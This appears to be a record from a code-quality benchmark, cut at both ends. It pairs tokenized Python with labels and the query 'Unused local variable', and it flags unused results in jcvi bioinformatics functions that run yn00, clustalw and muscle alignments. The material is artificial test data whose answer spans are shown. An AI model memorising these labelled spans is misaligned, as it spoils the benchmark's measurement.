"\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "msg_", "=_", "\"", "The", " ", "follow", "ing", " ", "connect", "ed", " ", "inputs", " ", "have", " ", "no", " ", "source", " ", "and", " ", "different", " ", "\"_", "+_", "\"", "unit", "s", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg_", "+=_", "\":", " ", "%", "s", ".\"_", "%_", "sorted_", "(_", "[_", "(_", "tgt_", ",_", "params", "\\u", "dict_", "[_", "tgt_", "]_", "._", "get_", "(_", "'", "unit", "s", "'_", ")_", ")_", "]_", "+_", "diff", "\\u", "units_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "correct", "\\u", "src_", "=_", "params", "\\u", "dict_", "[_", "connect", "ed", "\\u", "inputs_", "[_", "0_", "]_", "]_", "[_", "'", "top", "\\u", "promote", "d\\u", "name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg_", "+=_", "\"", " ", "Connect", " ", "'%", "s", "'", " ", "to", " ", "a", " ", "source", " ", "(", "suc", "h", " ", "as", " ", "an", " ", "Inde", "p", "Var", "Comp", ")\"_", "%_", "correct", "\\u", "src_", "+_", "\"", " ", "with", " ", "defin", "ed", " ", "unit", "s", ".\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "setup", "\\u", "errors_", "._", "append_", "(_", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "diff", "\\u", "vals_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "msg_", "=_", "(_", "\"", "The", " ", "follow", "ing", " ", "source", "less", " ", "connect", "ed", " ", "inputs", " ", "have", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "different", " ", "initial", " ", "values", ":", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"%", "s", ".", " ", " ", "Connect", " ", "one", " ", "of", " ", "them", " ", "to", " ", "the", " ", "output", " ", "of", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "an", " ", "Inde", "p", "Var", "Comp", " ", "to", " ", "ensure", " ", "tha", "t", " ", "the", "y", " ", "have", " ", "the", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "same", " ", "initial", " ", "value", ".\"_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "sorted_", "(_", "[_", "(_", "tgt_", ",_", "params", "\\u", "dict_", "[_", "tgt_", "]_", "[_", "'", "val", "'_", "]_", ")_", "]_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "diff", "\\u", "vals_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "setup", "\\u", "errors_", "._", "append_", "(_", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "now", " ", "check", " ", "for", " ", "difference", "s", " ", "in", " ", "step", "\\u", "size", ",", " ", "step", "\\u", "type", ",", " ", "or", " ", "form", " ", "for_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "promote", "d", " ", "inputs_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "prom", "name_", ",_", "abs", "names_", "in_", "iteritems_", "(_", "self_", "._", "root_", "._", "\\u", "sys", "data_", "._", "to", "\\u", "abs", "\\u", "pn", "ames_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "len_", "(_", "abs", "names_", ")_", ">_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "step", "\\u", "sizes_", ",_", "step", "\\u", "types_", ",_", "forms_", "=_", "{_", "}_", ",_", "{_", "}_", ",_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "name_", "in_", "abs", "names_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "meta_", "=_", "self_", "._", "root_", "._", "\\u", "params", "\\u", "dict_", "[_", "name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ss_", "=_", "meta_", "._", "get_", "(_", "'", "step", "\\u", "size", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ss_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "step", "\\u", "sizes_", "[_", "ss_", "]_", "=_", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "st_", "=_", "meta_", "._", "get_", "(_", "'", "step", "\\u", "type", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "st_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "step", "\\u", "types_", "[_", "st_", "]_", "=_", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "f_", "=_", "meta_", "._", "get_", "(_", "'", "form", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "f_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "forms_", "[_", "f_", "]_", "=_", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "step", "\\u", "sizes_", ")_", ">_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "\\u", "setup", "\\u", "errors_", "._", "append_", "(_", "\"", "The", " ", "follow", "ing", " ", "parameter", "s", " ", "have", " ", "the", " ", "same", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "promote", "d", " ", "name", ",", " ", "'%", "s", "',", " ", "but", " ", "different", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"'", "step", "\\u", "size", "'", " ", "values", ":", " ", "%", "s", "\"_", "%_", "(_", "prom", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "sorted_", "(_", "[_", "(_", "v_", ",_", "k_", ")_", "for_", "k_", ",_", "v_", "in_", "step", "\\u", "sizes_", "._", "items_", "(_", ")_", "]_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "step", "\\u", "types_", ")_", ">_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "\\u", "setup", "\\u", "errors_", "._", "append_", "(_", "\"", "The", " ", "follow", "ing", " ", "parameter", "s", " ", "have", " ", "the", " ", "same", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "promote", "d", " ", "name", ",", " ", "'%", "s", "',", " ", "but", " ", "different", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"'", "step", "\\u", "type", "'", " ", "values", ":", " ", "%", "s", "\"_", "%_", "(_", "prom", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "sorted_", "(_", "[_", "(_", "v_", ",_", "k_", ")_", "for_", "k_", ",_", "v_", "in_", "step", "\\u", "types_", "._", "items_", "(_", ")_", "]_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "forms_", ")_", ">_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "\\u", "setup", "\\u", "errors_", "._", "append_", "(_", "\"", "The", " ", "follow", "ing", " ", "parameter", "s", " ", "have", " ", "the", " ", "same", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "promote", "d", " ", "name", ",", " ", "'%", "s", "',", " ", "but", " ", "different", " ", "'", "form", "'", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "values", ":", " ", "%", "s", "\"_", "%_", "(_", "prom", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "sorted_", "(_", "[_", "(_", "v_", ",_", "k_", ")_", "for_", "k_", ",_", "v_", "in_", "forms_", "._", "items_", "(_", ")_", "]_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
tanghaibao/jcvi/apps/ks.py
[ { "content": "def find_synonymous(input_file, work_dir):\n \"\"\"Run yn00 to find the synonymous subsitution rate for the alignment.\n \"\"\"\n # create the .ctl file\n ctl_file = op.join(work_dir, \"yn-input.ctl\")\n output_file = op.join(work_dir, \"nuc-subs.yn\")\n ctl_h = open(ctl_file, \"w\")\n ctl_h.write(\"seqfile = %s\\noutfile = %s\\nverbose = 0\\n\" %\n (input_file, output_file))\n ctl_h.write(\"icode = 0\\nweighting = 0\\ncommonf3x4 = 0\\n\")\n ctl_h.close()\n\n cl = YnCommandline(ctl_file)\n print >>sys.stderr, \"\\tyn00:\", cl\n r, e = cl.run()\n ds_value_yn = None\n ds_value_ng = None\n dn_value_yn = None\n dn_value_ng = None\n\n # Nei-Gojobori\n output_h = open(output_file)\n row = output_h.readline()\n while row:\n if row.find(\"Nei & Gojobori\") >=0:\n for x in xrange(5):\n row = output_h.next()\n dn_value_ng, ds_value_ng = row.split('(')[1].split(')')[0].split()\n break\n row = output_h.readline()\n output_h.close()\n\n # Yang\n output_h = open(output_file)\n for line in output_h:\n if line.find(\"+-\") >= 0 and line.find(\"dS\") == -1:\n parts = line.split(\" +-\")\n ds_value_yn = extract_subs_value(parts[1])\n dn_value_yn = extract_subs_value(parts[0])\n\n if ds_value_yn is None or ds_value_ng is None:\n h = open(output_file)\n print >>sys.stderr, \"yn00 didn't work: \\n%s\" % h.read()\n\n return ds_value_yn, dn_value_yn, ds_value_ng, dn_value_ng", "metadata": "root.find_synonymous", "header": "['module', '___EOS___']", "index": 546 }, { "content": "def clustal_align_protein(recs, work_dir, outfmt=\"fasta\"):\n \"\"\"\n Align given proteins with clustalw.\n recs are iterable of Biopython SeqIO objects\n \"\"\"\n fasta_file = op.join(work_dir, \"prot-start.fasta\")\n align_file = op.join(work_dir, \"prot.aln\")\n SeqIO.write(recs, file(fasta_file, \"w\"), \"fasta\")\n\n clustal_cl = ClustalwCommandline(cmd=CLUSTALW_BIN(\"clustalw2\"),\n infile=fasta_file, outfile=align_file, outorder=\"INPUT\",\n type=\"PROTEIN\")\n stdout, stderr = clustal_cl()\n\n aln_file = file(clustal_cl.outfile)\n alignment = AlignIO.read(aln_file, \"clustal\")\n print >>sys.stderr, \"\\tDoing clustalw alignment: %s\" % clustal_cl\n if outfmt == \"fasta\":\n return alignment.format(\"fasta\")\n if outfmt == \"clustal\":\n return alignment", "metadata": "root.clustal_align_protein", "header": "['module', '___EOS___']", "index": 651 }, { "content": "def muscle_align_protein(recs, work_dir, outfmt=\"fasta\", inputorder=True):\n \"\"\"\n Align given proteins with muscle.\n recs are iterable of Biopython SeqIO objects\n \"\"\"\n fasta_file = op.join(work_dir, \"prot-start.fasta\")\n align_file = op.join(work_dir, \"prot.aln\")\n SeqIO.write(recs, file(fasta_file, \"w\"), \"fasta\")\n\n muscle_cl = MuscleCommandline(cmd=MUSCLE_BIN(\"muscle\"),\n input=fasta_file, out=align_file, seqtype=\"protein\",\n clwstrict=True)\n stdout, stderr = muscle_cl()\n alignment = AlignIO.read(muscle_cl.out, \"clustal\")\n\n if inputorder:\n try:\n muscle_inputorder(muscle_cl.input, muscle_cl.out)\n except ValueError:\n return \"\"\n alignment = AlignIO.read(muscle_cl.out, \"fasta\")\n\n print >>sys.stderr, \"\\tDoing muscle alignment: %s\" % muscle_cl\n if outfmt == \"fasta\":\n return alignment.format(\"fasta\")\n if outfmt == \"clustal\":\n return alignment.format(\"clustal\")", "metadata": "root.muscle_align_protein", "header": "['module', '___EOS___']", "index": 674 } ]
[ { "span": "r,", "start_line": 560, "start_column": 4, "end_line": 560, "end_column": 5 }, { "span": "e ", "start_line": 560, "start_column": 7, "end_line": 560, "end_column": 8 }, { "span": "stdout,", "start_line": 663, "start_column": 4, "end_line": 663, "end_column": 10 }, { "span": "stderr ", "start_line": 663, "start_column": 12, "end_line": 663, "end_column": 18 }, { "span": "stdout,", "start_line": 686, "start_column": 4, "end_line": 686, "end_column": 10 }, { "span": "stderr ", "start_line": 686, "start_column": 12, "end_line": 686, "end_column": 18 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "find", "\\u", "synonym", "ous_", "(_", "input", "\\u", "file_", ",_", "work", "\\u", "dir_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Run", " ", "yn", "00", " ", "to", " ", "find", " ", "the", " ", "synonym", "ous", " ", "subs", "itut", "ion", " ", "rate", " ", "for", " ", "the", " ", "alignme", "nt", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "create", " ", "the", " ", ".", "ctl", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "ctl", "\\u", "file_", "=_", "op_", "._", "join_", "(_", "work", "\\u", "dir_", ",_", "\"", "yn", "-", "input", ".", "ctl", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output", "\\u", "file_", "=_", "op_", "._", "join_", "(_", "work", "\\u", "dir_", ",_", "\"", "nuc", "-", "subs", ".", "yn", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ctl", "\\u", "h_", "=_", "open_", "(_", "ctl", "\\u", "file_", ",_", "\"", "w", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ctl", "\\u", "h_", "._", "write_", "(_", "\"", "seq", "file", " ", "=", " ", "%", "s", "\\\\", "nou", "tfi", "le", " ", "=", " ", "%", "s", "\\\\", "nve", "rbo", "se", " ", "=", " ", "0", "\\\\", "n", "\"_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "input", "\\u", "file_", ",_", "output", "\\u", "file_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ctl", "\\u", "h_", "._", "write_", "(_", "\"", "ico", "de", " ", "=", " ", "0", "\\\\", "nw", "eight", "ing", " ", "=", " ", "0", "\\\\", "ncom", "mon", "f3", "x4", " ", "=", " ", "0", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ctl", "\\u", "h_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cl_", "=_", "Y", "n", "Command", "line_", "(_", "ctl", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", ">>_", "sys_", "._", "stderr_", ",_", "\"\\\\", "ty", "n", "00", ":\"_", ",_", "cl_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "r_", ",_", "e_", "=_", "cl_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ds", "\\u", "value", "\\u", "yn_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ds", "\\u", "value", "\\u", "ng_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dn", "\\u", "value", "\\u", "yn_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dn", "\\u", "value", "\\u", "ng_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Nei", "-", "Go", "job", "ori_", "\\u\\u\\uNL\\u\\u\\u_", "output", "\\u", "h_", "=_", "open_", "(_", "output", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "row_", "=_", "output", "\\u", "h_", "._", "readline_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "row_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "row_", "._", "find_", "(_", "\"", "Nei", " ", "&", " ", "Go", "job", "ori", "\"_", ")_", ">=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "x_", "in_", "xrange_", "(_", "5_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "row_", "=_", "output", "\\u", "h_", "._", "next_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "dn", "\\u", "value", "\\u", "ng_", ",_", "ds", "\\u", "value", "\\u", "ng_", "=_", "row_", "._", "split_", "(_", "'('_", ")_", "[_", "1_", "]_", "._", "split_", "(_", "')'_", ")_", "[_", "0_", "]_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "row_", "=_", "output", "\\u", "h_", "._", "readline_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "output", "\\u", "h_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Yan", "g_", "\\u\\u\\uNL\\u\\u\\u_", "output", "\\u", "h_", "=_", "open_", "(_", "output", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "line_", "in_", "output", "\\u", "h_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "line_", "._", "find_", "(_", "\"+", "-\"_", ")_", ">=_", "0_", "and_", "line_", "._", "find_", "(_", "\"", "d", "S", "\"_", ")_", "==_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "parts_", "=_", "line_", "._", "split_", "(_", "\"", " ", "+-", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ds", "\\u", "value", "\\u", "yn_", "=_", "extract", "\\u", "subs", "\\u", "value_", "(_", "parts_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dn", "\\u", "value", "\\u", "yn_", "=_", "extract", "\\u", "subs", "\\u", "value_", "(_", "parts_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "ds", "\\u", "value", "\\u", "yn_", "is_", "None_", "or_", "ds", "\\u", "value", "\\u", "ng_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "h_", "=_", "open_", "(_", "output", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", ">>_", "sys_", "._", "stderr_", ",_", "\"", "yn", "00", " ", "did", "n", "'", "t", " ", "work", ":", " ", "\\\\", "n", "%", "s", "\"_", "%_", "h_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "ds", "\\u", "value", "\\u", "yn_", ",_", "dn", "\\u", "value", "\\u", "yn_", ",_", "ds", "\\u", "value", "\\u", "ng_", ",_", "dn", "\\u", "value", "\\u", "ng_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "clust", "al", "\\u", "align", "\\u", "protein_", "(_", "recs_", ",_", "work", "\\u", "dir_", ",_", "outf", "mt_", "=_", "\"", "fasta", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Align", " ", "give", "n", " ", "proteins", " ", "with", " ", "clust", "alw", ".", "\\", "10", ";", " ", " ", " ", " ", "rec", "s", " ", "are", " ", "iterable", " ", "of", " ", "Bio", "python", " ", "Seq", "IO", " ", "object", "s", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fasta", "\\u", "file_", "=_", "op_", "._", "join_", "(_", "work", "\\u", "dir_", ",_", "\"", "prot", "-", "start", ".", "fasta", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "align", "\\u", "file_", "=_", "op_", "._", "join_", "(_", "work", "\\u", "dir_", ",_", "\"", "prot", ".", "aln", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Seq", "IO_", "._", "write_", "(_", "recs_", ",_", "file_", "(_", "fasta", "\\u", "file_", ",_", "\"", "w", "\"_", ")_", ",_", "\"", "fasta", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "clust", "al", "\\u", "cl_", "=_", "Clu", "stal", "w", "Command", "line_", "(_", "cmd_", "=_", "CL", "UST", "AL", "W", "\\u", "BIN", "_", "(_", "\"", "clust", "alw", "2", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "infile_", "=_", "fasta", "\\u", "file_", ",_", "outfile_", "=_", "align", "\\u", "file_", ",_", "out", "order_", "=_", "\"", "INPUT", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "type_", "=_", "\"", "PROT", "EIN", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stdout_", ",_", "stderr_", "=_", "clust", "al", "\\u", "cl_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "aln", "\\u", "file_", "=_", "file_", "(_", "clust", "al", "\\u", "cl_", "._", "outfile_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alignment_", "=_", "Align", "IO_", "._", "read_", "(_", "aln", "\\u", "file_", ",_", "\"", "clust", "al", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", ">>_", "sys_", "._", "stderr_", ",_", "\"\\\\", "t", "Do", "ing", " ", "clust", "alw", " ", "alignme", "nt", ":", " ", "%", "s", "\"_", "%_", "clust", "al", "\\u", "cl_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "outf", "mt_", "==_", "\"", "fasta", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "alignment_", "._", "format_", "(_", "\"", "fasta", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "outf", "mt_", "==_", "\"", "clust", "al", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "alignment_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "musc", "le", "\\u", "align", "\\u", "protein_", "(_", "recs_", ",_", "work", "\\u", "dir_", ",_", "outf", "mt_", "=_", "\"", "fasta", "\"_", ",_", "input", "order_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Align", " ", "give", "n", " ", "proteins", " ", "with", " ", "musc", "le", ".", "\\", "10", ";", " ", " ", " ", " ", "rec", "s", " ", "are", " ", "iterable", " ", "of", " ", "Bio", "python", " ", "Seq", "IO", " ", "object", "s", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fasta", "\\u", "file_", "=_", "op_", "._", "join_", "(_", "work", "\\u", "dir_", ",_", "\"", "prot", "-", "start", ".", "fasta", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "align", "\\u", "file_", "=_", "op_", "._", "join_", "(_", "work", "\\u", "dir_", ",_", "\"", "prot", ".", "aln", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Seq", "IO_", "._", "write_", "(_", "recs_", ",_", "file_", "(_", "fasta", "\\u", "file_", ",_", "\"", "w", "\"_", ")_", ",_", "\"", "fasta", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "musc", "le", "\\u", "cl_", "=_", "Mus", "cle", "Command", "line_", "(_", "cmd_", "=_", "MUS", "CLE", "\\u", "BIN", "_", "(_", "\"", "musc", "le", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "input_", "=_", "fasta", "\\u", "file_", ",_", "out_", "=_", "align", "\\u", "file_", ",_", "seq", "type_", "=_", "\"", "prote", "in", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cl", "wst", "ric", "t_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stdout_", ",_", "stderr_", "=_", "musc", "le", "\\u", "cl_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alignment_", "=_", "Align", "IO_", "._", "read_", "(_", "musc", "le", "\\u", "cl_", "._", "out_", ",_", "\"", "clust", "al", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "input", "order_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "musc", "le", "\\u", "input", "order_", "(_", "musc", "le", "\\u", "cl_", "._", "input_", ",_", "musc", "le", "\\u", "cl_", "._", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "alignment_", "=_", "Align", "IO_", "._", "read_", "(_", "musc", "le", "\\u", "cl_", "._", "out_", ",_", "\"", "fasta", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", ">>_", "sys_", "._", "stderr_", ",_", "\"\\\\", "t", "Do", "ing", 